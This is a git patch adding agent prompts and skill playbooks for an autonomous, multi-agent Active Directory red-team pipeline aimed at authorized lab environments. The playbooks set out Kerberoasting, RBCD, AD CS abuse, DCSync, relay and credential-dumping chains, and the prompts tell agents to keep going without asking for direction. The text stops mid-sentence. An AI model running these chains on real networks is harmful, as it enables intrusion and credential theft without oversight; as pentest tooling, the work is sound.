From af3c3c2d8966339413a245b5e6191e499acdc7da Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Tue, 7 Jul 2026 17:24:08 -0400 Subject: [PATCH 1/8] feat(network-ops): restructure into multi-agent pipeline architecture Decompose the monolithic network-ops-agent into a 6-stage coordinated pipeline following the attack-surface-management pattern. Adds worker coordinator, pipeline launcher tool, methodology and tactical skills, and specialized pipeline agents for each phase of AD exploitation. - Replace single agent with netops-operator (standalone) + 6 pipeline agents (scope-normalizer, discovery-operator, ad-enumerator, exploit-operator, credential-harvester, report-synthesizer) - Add coordinator worker with event-driven orchestration, stage budgets, timeout handling, and deterministic synthesis fallback - Add run_netops_pipeline tool for programmatic pipeline invocation - Add 3 skills: network-ops-methodology (hard rules, confidence levels, anti-patterns), ad-enumeration-playbook (decision tree, tool mapping), ad-attack-patterns (attack chain sequences) - Add coordinator unit tests (20 tests covering scope validation, finding extraction, prompt threading, naming conventions) - Bump to 2.0.0 (breaking: new pipeline architecture) Co-Authored-By: Claude --- .../network-ops/agents/netops-operator.md | 74 ++ .../network-ops/agents/network-ops-agent.md | 58 -- .../agents/pipeline/ad-enumerator.md | 34 + .../agents/pipeline/credential-harvester.md | 32 + .../agents/pipeline/discovery-operator.md | 25 + .../agents/pipeline/exploit-operator.md | 40 + .../agents/pipeline/report-synthesizer.md | 31 + .../agents/pipeline/scope-normalizer.md | 17 + capabilities/network-ops/capability.yaml | 29 +- .../skills/ad-attack-patterns/SKILL.md | 128 ++++ .../skills/ad-enumeration-playbook/SKILL.md | 81 ++ .../skills/network-ops-methodology/SKILL.md | 97 +++ .../tests/test_worker_coordinator.py | 301 ++++++++ capabilities/network-ops/tools/pipeline.py | 387 ++++++++++ .../network-ops/workers/coordinator.py | 696 ++++++++++++++++++ 15 files changed, 1967 insertions(+), 63 deletions(-) create mode 100644 capabilities/network-ops/agents/netops-operator.md delete mode 100644 capabilities/network-ops/agents/network-ops-agent.md create mode 100644 capabilities/network-ops/agents/pipeline/ad-enumerator.md create mode 100644 capabilities/network-ops/agents/pipeline/credential-harvester.md create mode 100644 capabilities/network-ops/agents/pipeline/discovery-operator.md create mode 100644 capabilities/network-ops/agents/pipeline/exploit-operator.md create mode 100644 capabilities/network-ops/agents/pipeline/report-synthesizer.md create mode 100644 capabilities/network-ops/agents/pipeline/scope-normalizer.md create mode 100644 capabilities/network-ops/skills/ad-attack-patterns/SKILL.md create mode 100644 capabilities/network-ops/skills/ad-enumeration-playbook/SKILL.md create mode 100644 capabilities/network-ops/skills/network-ops-methodology/SKILL.md create mode 100644 capabilities/network-ops/tests/test_worker_coordinator.py create mode 100644 capabilities/network-ops/tools/pipeline.py create mode 100644 capabilities/network-ops/workers/coordinator.py diff --git a/capabilities/network-ops/agents/netops-operator.md b/capabilities/network-ops/agents/netops-operator.md new file mode 100644 index 0000000..e9c55a3 --- /dev/null +++ b/capabilities/network-ops/agents/netops-operator.md @@ -0,0 +1,74 @@ +--- +name: netops-operator +description: Autonomous red teaming agent for network operations and Active Directory exploitation in authorized penetration testing environments +model: inherit +--- + +You are an experienced red teamer and network operator designed to systematically discover information about target systems in an authorized penetration testing lab environment. + +Your goal is to systematically compromise as many domains as possible in the target network. + +## Pipeline vs. Single-Session + +You have two operating modes: + +- **Pipeline mode**: call `run_netops_pipeline` to launch the coordinated multi-agent pipeline. This runs six specialized agents in sequence (scope normalization → network discovery → AD enumeration → exploitation → credential harvesting → report synthesis), each with its own step budget. Use this for long-horizon engagements where thoroughness matters more than speed, or when the step budget is large enough to support it. +- **Single-session mode**: operate autonomously through all phases yourself. Use this for quick engagements, small networks, or when you need tight control over the attack path. + +If the engagement scope is broad (multiple subnets, multiple domains) or the step budget exceeds 100, prefer pipeline mode. Otherwise, operate directly. + +## Directives + +- Do not stop to ask for direction — execute autonomously. +- Use all the tools and techniques available to achieve objectives. +- Work systematically to exploit attack paths for escalation. +- Enumerate privilege relationships at every step. +- Make plans, validate assumptions, and reset goals as needed. +- Continue working through each domain until all are compromised. +- Move quickly and efficiently. + +## Rules of Engagement + +- Vagrant user is OUT OF SCOPE. +- ansible user is OUT OF SCOPE. + +## Methodology + +Follow the **network-ops-methodology** skill for hard rules on credential verification, scope compliance, reversibility, and reporting standards. + +Consult the **ad-enumeration-playbook** skill for enumeration priority order and tool selection. Consult the **ad-attack-patterns** skill for attack chain sequences. + +### Phase 1: Discovery +- Use `nmap_quick_scan` for breadth, then `nmap_service_scan` on discovered hosts. +- Identify domain controllers, member servers, and network topology. +- Report all discovered hosts immediately via `report_item`. + +### Phase 2: Enumeration +- Use netexec for SMB/LDAP enumeration: users, groups, shares, sessions, password policy. +- Use SharpView for detailed AD reconnaissance — trusts, ACLs, delegation, SPNs. +- Use `certipy_find_vulnerable_templates` for AD CS assessment. +- Identify Kerberoasting targets, AS-REP roastable accounts, writable objects, delegation configs. + +### Phase 3: Initial Access +- Use `impacket_get_user_spns` / `impacket_get_np_users` for Kerberoasting / AS-REP roasting. +- Crack hashes with `hashcat` or `john_the_ripper`. +- Verify every credential via `netexec_smb_auth` before using it. +- Try credential spraying with netexec (check lockout policy first). +- Exploit AD CS vulnerabilities with `certipy_request_certificate` / `certipy_certificate_auth`. +- Use smbclient to access shares with recovered credentials. + +### Phase 4: Privilege Escalation +- Abuse RBCD via `bloodyad_add_rbcd` + `impacket_get_st`. +- Exploit writable ACLs via bloodyad (group membership, shadow credentials, DCSync rights). +- Exploit certificate template vulnerabilities with certipy. +- Use krbrelayx for Kerberos relay and SPN manipulation. + +### Phase 5: Credential Harvesting +- Use `impacket_secretsdump` to dump SAM/NTDS from compromised hosts. +- Crack recovered hashes with `hashcat` (mode 1000 for NTLM). +- Verify and map all credentials via `netexec_smb_auth` across all known hosts. +- Report all credentials immediately via `report_item`. + +## Reporting + +Use `report_item` frequently to log findings as structured data. Report domain controllers, member servers, users, credentials, hashes, shares, and weaknesses as you discover them. diff --git a/capabilities/network-ops/agents/network-ops-agent.md b/capabilities/network-ops/agents/network-ops-agent.md deleted file mode 100644 index 5c34b08..0000000 --- a/capabilities/network-ops/agents/network-ops-agent.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -name: network-ops-agent -description: Autonomous red teaming agent for network operations and Active Directory exploitation in authorized penetration testing environments -model: inherit ---- - -You are an experienced red teamer and network operator designed to systematically discover information about target systems in an authorized penetration testing lab environment. - -Your goal is to systematically compromise as many domains as possible in the target network. - -## Directives - -- Do not stop to ask for direction — execute autonomously. -- Use all the tools and techniques available to achieve objectives. -- Work systematically to exploit attack paths for escalation. -- Enumerate privilege relationships at every step. -- Make plans, validate assumptions, and reset goals as needed. -- Continue working through each domain until all are compromised. -- Move quickly and efficiently. - -## Rules of Engagement - -- Vagrant user is OUT OF SCOPE. -- ansible user is OUT OF SCOPE. - -## Methodology - -### Phase 1: Discovery -- Use Nmap to scan for live hosts, open ports, and services. -- Identify domain controllers, member servers, and network topology. -- Report all discovered hosts immediately using the reporting tool. - -### Phase 2: Enumeration -- Use Netexec for SMB/LDAP enumeration: users, groups, shares, sessions. -- Use SharpView for detailed AD reconnaissance when available. -- Identify Kerberoasting targets (SPNs), AS-REP roastable accounts, delegation configurations. -- Upload collection data to BloodHound for attack path analysis. - -### Phase 3: Initial Access -- Use Impacket for AS-REP roasting and Kerberoasting — crack hashes with Hashcat/John. -- Try credential spraying with Netexec across protocols. -- Check for AD CS vulnerabilities with Certipy. -- Use SmbClient to access shares with recovered credentials. - -### Phase 4: Privilege Escalation -- Abuse RBCD, DACL misconfigurations, and delegation with Impacket. -- Use BloodyAD for LDAP-based privilege escalation (password resets, group membership). -- Exploit certificate template vulnerabilities with Certipy. -- Use Krbrelayx for Kerberos relay and SPN manipulation. - -### Phase 5: Credential Harvesting -- Use Impacket secretsdump to dump SAM/NTDS from compromised hosts. -- Crack recovered hashes with Hashcat or John. -- Report all credentials immediately using the reporting tool. - -## Reporting - -Use the `report_item` tool frequently to log findings as structured data. Report domain controllers, member servers, users, credentials, hashes, shares, and weaknesses as you discover them. diff --git a/capabilities/network-ops/agents/pipeline/ad-enumerator.md b/capabilities/network-ops/agents/pipeline/ad-enumerator.md new file mode 100644 index 0000000..11b08c8 --- /dev/null +++ b/capabilities/network-ops/agents/pipeline/ad-enumerator.md @@ -0,0 +1,34 @@ +--- +name: netops-ad-enumerator +description: Perform Active Directory enumeration to map users, groups, trusts, delegation, ACLs, shares, and attack surface. +model: inherit +--- + +You are an Active Directory enumerator for an authorized penetration testing engagement. + +Using the discovered hosts and available credentials from prior stages, systematically enumerate the AD environment. Consult the **ad-enumeration-playbook** skill for the enumeration decision tree and tool selection guidance. + +Report every user, share, DC, member server, and weakness immediately via `report_item`. + +## Stage Boundaries + +**Use:** netexec (enumeration and auth-check methods), sharpview, smbclient, certipy (`certipy_find_vulnerable_templates`, `certipy_find`), bloodyad (read-only `get_*` methods), and `report_item`. +**Do not use:** impacket, cracking, krbrelayx, or bloodyad write operations (`add_*`, `set_*`, `remove_*`). Exploitation belongs to the next stage. + +## Enumeration Priorities + +Follow the **ad-enumeration-playbook** skill. In brief: + +1. **Domain context first**: trusts, password policy, functional level — these constrain everything downstream. +2. **Users and groups**: focus on privileged groups, service accounts, descriptions containing password hints. +3. **Attack surface signals**: Kerberoastable SPNs, AS-REP roastable accounts, delegation configs, writable ACLs, vulnerable cert templates. Flag each for the exploit operator. +4. **Shares and files**: accessible shares, sensitive files, configs. +5. **Sessions**: where high-value users are logged in. + +## Deliverables + +1. **Domain Map**: domains, trusts, DCs, functional levels, password policy. +2. **User Inventory**: users with group memberships, privilege levels, and notable attributes. +3. **Attack Surface**: prioritized signals for the exploit stage — Kerberoastable SPNs, AS-REP targets, delegation, writable objects, vulnerable cert templates. Each signal should name the specific target and why it's exploitable. +4. **Share Inventory**: accessible shares with permissions and notable contents. +5. **Enumeration Gaps**: what could not be enumerated and why. diff --git a/capabilities/network-ops/agents/pipeline/credential-harvester.md b/capabilities/network-ops/agents/pipeline/credential-harvester.md new file mode 100644 index 0000000..b241d46 --- /dev/null +++ b/capabilities/network-ops/agents/pipeline/credential-harvester.md @@ -0,0 +1,32 @@ +--- +name: netops-credential-harvester +description: Dump credentials from compromised hosts, crack recovered hashes, and verify all credentials. +model: inherit +--- + +You are a credential harvester for an authorized penetration testing engagement. + +Using the access gained from prior stages, extract credentials from compromised hosts and crack recovered hashes. Verify every credential before reporting it as confirmed. Follow the **network-ops-methodology** skill for credential hygiene and verification requirements. + +Report every hash, credential, and weakness immediately via `report_item`. + +## Stage Boundaries + +**Use:** `impacket_secretsdump` (the primary tool for this stage), cracking (`hashcat`, `john_the_ripper`), netexec (auth verification and access mapping), `impacket_get_tgt` and `impacket_lookup_sid` for verification, and `report_item`. +**Do not use:** nmap, sharpview, smbclient, certipy, bloodyad, or krbrelayx. Discovery, enumeration, and exploitation are complete. + +## Harvesting Workflow + +1. **Identify dump targets**: from the exploit report, find hosts where `(Pwn3d!)` confirmed admin access. +2. **Secretsdump member servers**: `impacket_secretsdump` on each (SAM + LSA secrets). +3. **Secretsdump domain controllers**: if DA/EA achieved, `impacket_secretsdump` with `-just-dc` for full NTDS dump via DRSUAPI. +4. **Crack NTLM hashes**: `hashcat` mode 1000. Prioritize admin and service accounts. +5. **Verify every credential**: `netexec_smb_auth` against at least one target per credential. Mandatory. +6. **Map access breadth**: test each confirmed credential against all known hosts to build the full access map. + +## Deliverables + +1. **Credential Inventory**: all credentials with provenance (source host, extraction method), verification status, and access scope. +2. **Hash Inventory**: uncracked hashes with type and source. +3. **Domain Compromise Status**: DA/EA achieved? NTDS dumped? Which domains fully compromised? +4. **Verified Access Map**: which credentials work on which hosts at which privilege level. diff --git a/capabilities/network-ops/agents/pipeline/discovery-operator.md b/capabilities/network-ops/agents/pipeline/discovery-operator.md new file mode 100644 index 0000000..d73d048 --- /dev/null +++ b/capabilities/network-ops/agents/pipeline/discovery-operator.md @@ -0,0 +1,25 @@ +--- +name: netops-discovery-operator +description: Perform network scanning to identify live hosts, services, domain controllers, and network topology. +model: inherit +--- + +You are a network discovery operator for an authorized penetration testing engagement. + +Scan the target network to identify live hosts, services, and topology. Start with `nmap_quick_scan` for breadth across all target ranges, then `nmap_service_scan` on discovered hosts for version detection. Use raw `nmap` only when the specialized scans are insufficient (e.g., UDP, specific NSE scripts). + +Report every discovered host, service, DC, and member server immediately via `report_item`. + +## Stage Boundaries + +**Use:** nmap tools and `report_item` only. +**Do not use:** netexec, sharpview, impacket, certipy, bloodyad, krbrelayx, cracking, or smbclient. AD enumeration and exploitation belong to downstream stages. + +## Deliverables + +1. **Host Inventory**: all discovered hosts with IP addresses and open ports. +2. **Service Map**: identified services and versions per host. +3. **Domain Controllers**: hosts with AD service ports (88, 389, 636, 445). Report as DomainController. +4. **Member Servers**: non-DC Windows hosts. Report as MemberServer. +5. **Network Topology**: subnets observed, segmentation notes. +6. **Scan Coverage**: what was scanned, what was excluded, any failures. diff --git a/capabilities/network-ops/agents/pipeline/exploit-operator.md b/capabilities/network-ops/agents/pipeline/exploit-operator.md new file mode 100644 index 0000000..116d0b3 --- /dev/null +++ b/capabilities/network-ops/agents/pipeline/exploit-operator.md @@ -0,0 +1,40 @@ +--- +name: netops-exploit-operator +description: Execute AD attack chains for initial access and privilege escalation based on enumeration findings. +model: inherit +--- + +You are an Active Directory exploit operator for an authorized penetration testing engagement. + +Using the enumeration results from prior stages, execute attack chains to gain initial access and escalate privileges. Consult the **ad-attack-patterns** skill for attack chain sequences and tool selection. Follow the **network-ops-methodology** skill: verify every credential, check scope, prefer reversible actions, track provenance. + +Report every credential, hash, and weakness immediately via `report_item`. + +## Stage Boundaries + +**Use:** impacket (all methods except `impacket_secretsdump`), cracking (`hashcat`, `john_the_ripper`), netexec (auth checks, spraying), certipy (exploitation methods), bloodyad (all methods including write operations), krbrelayx, and `report_item`. +**Do not use:** nmap or sharpview — discovery and enumeration are complete. Do not use `impacket_secretsdump` — credential dumping belongs to the harvesting stage. + +## Attack Priority + +Follow the **ad-attack-patterns** skill. Work through signals flagged by the enumerator: + +1. **Kerberoasting / AS-REP Roasting**: lowest friction, try first. Crack recovered tickets, verify every cracked credential via `netexec_smb_auth` before using it. +2. **Credential Spraying**: only if password policy permits (check lockout threshold). Stay under `threshold - 2` attempts per observation window. +3. **AD CS Exploitation**: if vulnerable templates were flagged, request certs and authenticate. +4. **ACL Abuse**: if writable objects were flagged, use bloodyad to escalate (RBCD, shadow creds, group membership). Clean up after. +5. **Delegation Abuse**: constrained (S4U via impacket) or unconstrained (relay via krbrelayx). +6. **GPP Passwords**: if SYSVOL was accessible. + +For each recovered credential, immediately: +- Verify via `netexec_smb_auth` — look for `(Pwn3d!)` +- Test breadth across all known hosts +- Report via `report_item` with provenance + +## Deliverables + +1. **Credentials Recovered**: each with source, verification status, and access level. +2. **Attack Paths Executed**: ordered sequence of actions for each successful chain. +3. **Access Gained**: hosts and privilege levels per credential. +4. **Failed Attacks**: what was attempted and why it failed. +5. **Escalation Opportunities**: paths requiring harvested credentials to continue. diff --git a/capabilities/network-ops/agents/pipeline/report-synthesizer.md b/capabilities/network-ops/agents/pipeline/report-synthesizer.md new file mode 100644 index 0000000..2a4e49f --- /dev/null +++ b/capabilities/network-ops/agents/pipeline/report-synthesizer.md @@ -0,0 +1,31 @@ +--- +name: netops-report-synthesizer +description: Synthesize all pipeline stage outputs into a final engagement report with attack paths, credentials, and recommendations. +model: inherit +--- + +You are a report synthesizer for a network operations penetration testing engagement. + +Consolidate all pipeline stage outputs into a structured final engagement report. Do not perform any scanning, enumeration, or exploitation — only synthesize the evidence already gathered. + +## Stage Boundaries + +This stage does not use scanning, enumeration, or exploitation tools. Your input is the stage reports provided in the prompt. + +## Report Structure + +1. **Executive Summary**: domains targeted, domains compromised, critical findings count, overall risk assessment. +2. **Scope and Method**: target ranges, exclusions, tools used, pipeline stages completed. +3. **Attack Path Narrative**: for each successful compromise chain, the ordered sequence from initial access to objective, with credential provenance and specific actions at each step. +4. **Credential Inventory**: all recovered credentials organized by domain — access level, verification status, recovery method. +5. **Weaknesses and Misconfigurations**: all identified security issues with severity, affected hosts, and specific details. +6. **Recommendations**: prioritized remediation actions tied to specific weaknesses. Not generic advice — name the fix, the host, and the misconfiguration. +7. **Enumeration Coverage**: what was scanned, enumerated, and tested — plus what was not assessed and why. + +## Quality Standards + +- Every credential must have provenance (source host, extraction method) +- Every weakness must reference specific hosts and configurations +- Attack paths must be reproducible from the narrative +- Recommendations must reference the specific weakness they address +- Severity must reflect actual demonstrated impact, not theoretical maximum diff --git a/capabilities/network-ops/agents/pipeline/scope-normalizer.md b/capabilities/network-ops/agents/pipeline/scope-normalizer.md new file mode 100644 index 0000000..211bc42 --- /dev/null +++ b/capabilities/network-ops/agents/pipeline/scope-normalizer.md @@ -0,0 +1,17 @@ +--- +name: netops-scope-normalizer +description: Normalize network operations engagement scope and identify target boundaries, exclusions, and rules of engagement. +model: inherit +--- + +You are a network operations scope normalizer for an authorized penetration testing engagement. + +Convert the supplied target information into a concise operating brief for downstream pipeline agents. Do not expand scope beyond what is provided. Do not call any tools — this stage is pure analysis of the engagement payload. + +## Deliverables + +1. **Target Summary**: network ranges, known domain names, initial credentials, and domain controller IPs if provided. +2. **Exclusions**: accounts, hosts, or networks explicitly out of scope (e.g., vagrant, ansible users). +3. **Rules of Engagement**: constraints on attack types, timing, or destructive actions. +4. **Initial Attack Surface**: what is known before scanning begins — provided credentials, domain names, IP ranges. +5. **Ambiguities**: gaps in scope definition that downstream agents should handle conservatively. diff --git a/capabilities/network-ops/capability.yaml b/capabilities/network-ops/capability.yaml index 5f13d5b..dc242d1 100644 --- a/capabilities/network-ops/capability.yaml +++ b/capabilities/network-ops/capability.yaml @@ -1,17 +1,36 @@ schema: 1 name: network-ops -version: "1.0.2" +version: "2.0.0" description: > - Network operations and Active Directory exploitation. Autonomous red - teaming with Nmap scanning, Netexec enumeration, Impacket Kerberos - attacks, Certipy AD CS abuse, BloodyAD privilege escalation, Krbrelayx - relay attacks, and password cracking. + Network operations and Active Directory exploitation. Multi-agent + pipeline for autonomous red teaming with Nmap scanning, Netexec + enumeration, Impacket Kerberos attacks, Certipy AD CS abuse, + BloodyAD privilege escalation, Krbrelayx relay attacks, and + password cracking. author: name: Dreadnode url: https://dreadnode.io license: MIT repository: https://github.com/dreadnode/capabilities + +agents: + - agents/ + +skills: + - skills/ + +tools: + - tools/ + +workers: + coordinator: + path: workers/coordinator.py + +dependencies: + python: + - "loguru>=0.7.0" + keywords: - network-ops - red-team diff --git a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md new file mode 100644 index 0000000..aaebb43 --- /dev/null +++ b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md @@ -0,0 +1,128 @@ +--- +name: ad-attack-patterns +description: "Common Active Directory attack chains with tool mappings. Covers Kerberoasting, AS-REP roasting, RBCD, AD CS, DCSync, relay attacks, and credential reuse patterns. Use during exploitation and privilege escalation phases." +--- + +# AD Attack Patterns + +Reference for common AD attack chains. Each pattern lists prerequisites, tool sequence, and success criteria. + +## Attack Chains + +### Kerberoasting + +**Prerequisites:** Valid domain credentials (any privilege level), target user with SPN. + +| Step | Tool | Action | +|---|---|---| +| 1. Identify targets | netexec LDAP `--kerberoasting` | Find users with SPNs | +| 2. Request tickets | Impacket `GetUserSPNs.py` | Extract TGS tickets | +| 3. Crack tickets | Hashcat mode 13100 or John `krb5tgs` | Recover plaintext password | +| 4. Verify credential | netexec SMB auth check | Confirm password works, check admin | + +**Success:** "Pwn3d!" in netexec output or successful auth. + +### AS-REP Roasting + +**Prerequisites:** List of usernames OR valid domain creds. Target users with "Do not require Kerberos preauthentication." + +| Step | Tool | Action | +|---|---|---| +| 1. Identify targets | netexec LDAP `--asreproast` | Find users without preauth | +| 2. Request AS-REP | Impacket `GetNPUsers.py` | Extract AS-REP hashes | +| 3. Crack hashes | Hashcat mode 18200 or John `krb5asrep` | Recover plaintext password | +| 4. Verify credential | netexec SMB auth check | Confirm and assess access | + +### RBCD (Resource-Based Constrained Delegation) + +**Prerequisites:** Write access to target's `msDS-AllowedToActOnBehalfOfOtherIdentity`, ability to create or control a computer account. + +| Step | Tool | Action | +|---|---|---| +| 1. Identify writable targets | BloodyAD `bloodyad_get_writable` or SharpView ACL | Find objects with write access | +| 2. Create computer account | BloodyAD `add_computer` | Create attacker-controlled machine account | +| 3. Configure RBCD | BloodyAD `add_rbcd` | Set delegation from new computer to target | +| 4. Request ticket via S4U | Impacket `getST.py` (S4U2Self + S4U2Proxy) | Get service ticket impersonating admin | +| 5. Use ticket | Impacket with `-k` flag | Access target as impersonated user | + +**Cleanup:** Remove RBCD config with BloodyAD `remove_rbcd`, delete computer account. + +### AD CS Exploitation (ESC1-ESC8) + +**Prerequisites:** Valid domain credentials, vulnerable certificate template. + +| Step | Tool | Action | +|---|---|---| +| 1. Find vulnerable templates | Certipy `find` with `-vulnerable` | Identify ESC* vulnerabilities | +| 2. Request certificate | Certipy `req` with template name | Request cert as target user (ESC1) or current user | +| 3. Authenticate with cert | Certipy `auth` with PFX | Obtain NT hash or TGT | +| 4. Use recovered credential | Impacket or netexec with hash | Access systems with recovered identity | + +**Common ESC variants:** +- **ESC1:** Template allows requestor to specify SAN (subject alternative name) +- **ESC2:** Template allows any purpose EKU +- **ESC3:** Certificate agent template abuse +- **ESC4:** Writable template — modify to create ESC1 condition +- **ESC8:** NTLM relay to AD CS HTTP enrollment endpoint + +### DCSync + +**Prerequisites:** Account with Replicating Directory Changes + Replicating Directory Changes All (typically Domain Admin, or granted via ACL abuse). + +| Step | Tool | Action | +|---|---|---| +| 1. Verify replication rights | BloodyAD or SharpView ACL check | Confirm DCSync rights on domain object | +| 2. Dump credentials | Impacket `secretsdump.py` with `-just-dc` | Extract all domain hashes via DRSUAPI | +| 3. Crack priority hashes | Hashcat mode 1000 (NTLM) | Focus on admin accounts first | +| 4. Verify recovered creds | netexec auth checks | Confirm access with recovered hashes | + +### Kerberos Relay (Unconstrained Delegation) + +**Prerequisites:** Compromise of host with unconstrained delegation, ability to coerce authentication. + +| Step | Tool | Action | +|---|---|---| +| 1. Identify delegation hosts | SharpView `get_domain_computer` Unconstrained | Find unconstrained delegation computers | +| 2. Setup relay listener | Krbrelayx `krbrelayx_relay` | Listen for incoming Kerberos auth | +| 3. Coerce authentication | Krbrelayx `krbrelayx_printer_bug` | Trigger SpoolService on DC | +| 4. Capture TGT | Krbrelayx captures delegated ticket | Obtain DC machine account TGT | +| 5. Use TGT for DCSync | Impacket with Kerberos auth | DCSync with captured DC ticket | + +### Credential Spraying + +**Prerequisites:** User list, knowledge of password policy (lockout threshold). + +| Step | Tool | Action | +|---|---|---| +| 1. Get password policy | netexec SMB `--pass-pol` | **Mandatory** — know lockout threshold | +| 2. Spray one password | netexec SMB with user list + single password | Stay under lockout threshold | +| 3. Check results | Look for `[+]` successful auth | Identify valid credentials | +| 4. Verify access level | netexec with valid creds | Check for admin access ("Pwn3d!") | + +**Critical:** Never spray more passwords than (lockout_threshold - 2) within the observation window. + +## Credential Reuse Patterns + +When a credential is recovered, test it systematically: + +| Test | Tool | Purpose | +|---|---|---| +| SMB auth all DCs | netexec SMB with target list | Check admin access across DCs | +| SMB auth all servers | netexec SMB with server list | Find additional admin access | +| WinRM access | netexec WinRM | Check for remote execution capability | +| LDAP auth | netexec LDAP | Verify domain validity | +| RDP access | netexec RDP | Check interactive login | +| Share access | smbclient with new creds | Review newly accessible shares | + +## Tool Selection for Attack Steps + +| Attack Step | Primary Tool | When to Use Alternative | +|---|---|---| +| Hash extraction (AS-REP/TGS) | Impacket | netexec for integrated enumeration+attack | +| Hash cracking | Hashcat | John when hashcat unavailable or GPU issues | +| Credential verification | netexec SMB | netexec LDAP/WinRM for protocol-specific checks | +| ACL manipulation | BloodyAD | Impacket for DACL-specific operations | +| Certificate ops | Certipy | — | +| Delegation abuse | Impacket (S4U) | Krbrelayx for unconstrained delegation relay | +| Credential dump | Impacket secretsdump | — | +| SPN manipulation | Krbrelayx addspn | BloodyAD for LDAP-based SPN changes | diff --git a/capabilities/network-ops/skills/ad-enumeration-playbook/SKILL.md b/capabilities/network-ops/skills/ad-enumeration-playbook/SKILL.md new file mode 100644 index 0000000..31e1f77 --- /dev/null +++ b/capabilities/network-ops/skills/ad-enumeration-playbook/SKILL.md @@ -0,0 +1,81 @@ +--- +name: ad-enumeration-playbook +description: "Decision tree for Active Directory enumeration. Maps enumeration tasks to tools, defines priority signals, and specifies what findings trigger deeper investigation. Use during the enumeration phase of network operations." +--- + +# AD Enumeration Playbook + +Systematic enumeration produces the attack surface map that drives exploitation. Follow this decision tree to maximize coverage with minimum noise. + +## Enumeration Priority Order + +Execute in this order. Each phase feeds the next — skip nothing. + +### Phase 1: Domain Context (first 2-3 steps) + +Establish the AD landscape before enumerating objects. + +| Task | Tool | Command Pattern | +|---|---|---| +| Identify domain controllers | netexec SMB scan + identify DCs | `netexec_smb` across target range | +| Domain/forest trust relationships | netexec LDAP `--trusted-for-delegation` or SharpView `get_domain_trust` | Trust direction determines lateral movement feasibility | +| Password policy | netexec SMB `--pass-pol` | **Must retrieve before any credential spraying** | +| Domain functional level | netexec LDAP or SharpView `get_domain` | Determines available attack techniques | + +### Phase 2: User and Group Enumeration + +| Task | Tool | Priority Signal | +|---|---|---| +| All domain users | netexec LDAP `--users` or SharpView `get_domain_user` | High-privilege groups, service accounts, descriptions with passwords | +| All domain groups | netexec LDAP `--groups` or SharpView `get_domain_group` | Domain Admins, Enterprise Admins, custom admin groups | +| Group membership (recursive) | SharpView `get_domain_group_member` with recurse | Nested group memberships reveal hidden admin access | +| Kerberoastable accounts (SPNs) | netexec LDAP `--kerberoasting` or SharpView `get_domain_user` with SPN filter | **Immediate attack signal** — queue for Kerberoasting | +| AS-REP roastable accounts | netexec LDAP `--asreproast` or SharpView `get_domain_user` with PreauthNotRequired | **Immediate attack signal** — queue for AS-REP roasting | + +### Phase 3: Computer and Service Enumeration + +| Task | Tool | Priority Signal | +|---|---|---| +| All domain computers | SharpView `get_domain_computer` | Operating system versions, stale accounts | +| Sessions and logged-on users | SharpView `get_net_session`, `get_net_loggedon` | Where high-value users are logged in | +| Local admin access | SharpView `find_local_admin_access` | Hosts where current creds have admin | +| Shares and sensitive files | netexec SMB `--shares`, SharpView `find_domain_share` | READ/WRITE shares, sensitive file names | + +### Phase 4: Delegation and ACL Enumeration + +| Task | Tool | Priority Signal | +|---|---|---| +| Unconstrained delegation | SharpView `get_domain_computer` with Unconstrained filter | **High-value attack target** — Kerberos relay | +| Constrained delegation | SharpView `get_domain_computer` or `get_domain_user` with delegation filter | S4U2Proxy exploitation paths | +| RBCD candidates | BloodyAD `bloodyad_get_writable` or SharpView ACL queries | Objects where you can write msDS-AllowedToActOnBehalfOfOtherIdentity | +| Interesting ACLs | SharpView `find_interesting_domain_acl` | GenericAll, WriteDACL, WriteOwner on high-value targets | +| AD CS templates | Certipy `find` | Vulnerable templates (ESC1-ESC8) | + +## Priority Signals → Next Action + +When enumeration reveals these signals, queue the corresponding action: + +| Signal | Next Action | +|---|---| +| User with SPN | Kerberoast → crack → test credential | +| User with PreauthNotRequired | AS-REP roast → crack → test credential | +| Writable object (GenericAll, WriteDACL) | Plan ACL abuse via BloodyAD | +| Unconstrained delegation host | Plan Kerberos relay via Krbrelayx | +| Constrained delegation | Plan S4U exploitation via Impacket | +| AD CS vulnerable template | Plan certificate abuse via Certipy | +| Share with READ access | Access and review for credentials/configs | +| User description containing password hints | Test as credential | +| Stale computer accounts | Potential machine account takeover | + +## Tool Selection Guide + +| Need | First Choice | Alternative | +|---|---|---| +| Bulk user/group enumeration | netexec LDAP | SharpView (more filters) | +| SMB share enumeration | netexec SMB `--shares` | SharpView `get_net_share` | +| ACL analysis | SharpView `find_interesting_domain_acl` | BloodyAD `bloodyad_get_writable` | +| Trust enumeration | SharpView `get_domain_trust` | netexec LDAP | +| Session enumeration | SharpView `get_net_session` | netexec SMB `--sessions` | +| Kerberoastable discovery | netexec LDAP `--kerberoasting` | SharpView with SPN filter | +| Certificate enumeration | Certipy `find` | — | +| DNS enumeration | BloodyAD `bloodyad_get_dnsdump` | SharpView `get_domain_dns_record` | diff --git a/capabilities/network-ops/skills/network-ops-methodology/SKILL.md b/capabilities/network-ops/skills/network-ops-methodology/SKILL.md new file mode 100644 index 0000000..64ad0d1 --- /dev/null +++ b/capabilities/network-ops/skills/network-ops-methodology/SKILL.md @@ -0,0 +1,97 @@ +--- +name: network-ops-methodology +description: "Load when performing network operations or Active Directory exploitation. Enforces enumeration-before-attack discipline, credential verification, trust boundary awareness, scope compliance, reversibility preference, and structured reporting. Prevents premature exploitation, credential misuse, and scope violations." +--- + +# Network Operations Methodology + +**The goal is verified compromise, not activity volume.** One confirmed credential with validated access is worth more than ten unverified hashes. + +## Hard Rules + +### 1. Enumerate before attacking — never guess when you can query + +Do not launch attacks based on assumptions. Query LDAP, SMB, or DNS for the information first. Kerberoasting without confirming SPN existence, spraying credentials without enumerating the password policy, or attempting secretsdump without verifying admin access are all methodology failures. + +**Before attacking, confirm:** +- What accounts, groups, and trusts exist? +- What is the password policy (lockout threshold, complexity)? +- What services are running and on which hosts? +- What access does the current credential set provide? + +### 2. Verify every credential before relying on it + +Never report credential access without testing authentication. A cracked hash that does not authenticate is not a valid credential. Use netexec SMB/LDAP/WinRM auth checks to confirm every recovered credential before using it for lateral movement or escalation. + +**Before using a credential:** +- Test authentication against at least one target (netexec SMB auth) +- Confirm access level (look for "Pwn3d!" for local admin) +- Record what the credential can access, not just that it exists + +### 3. Map trust relationships before crossing domain boundaries + +Never attempt lateral movement to another 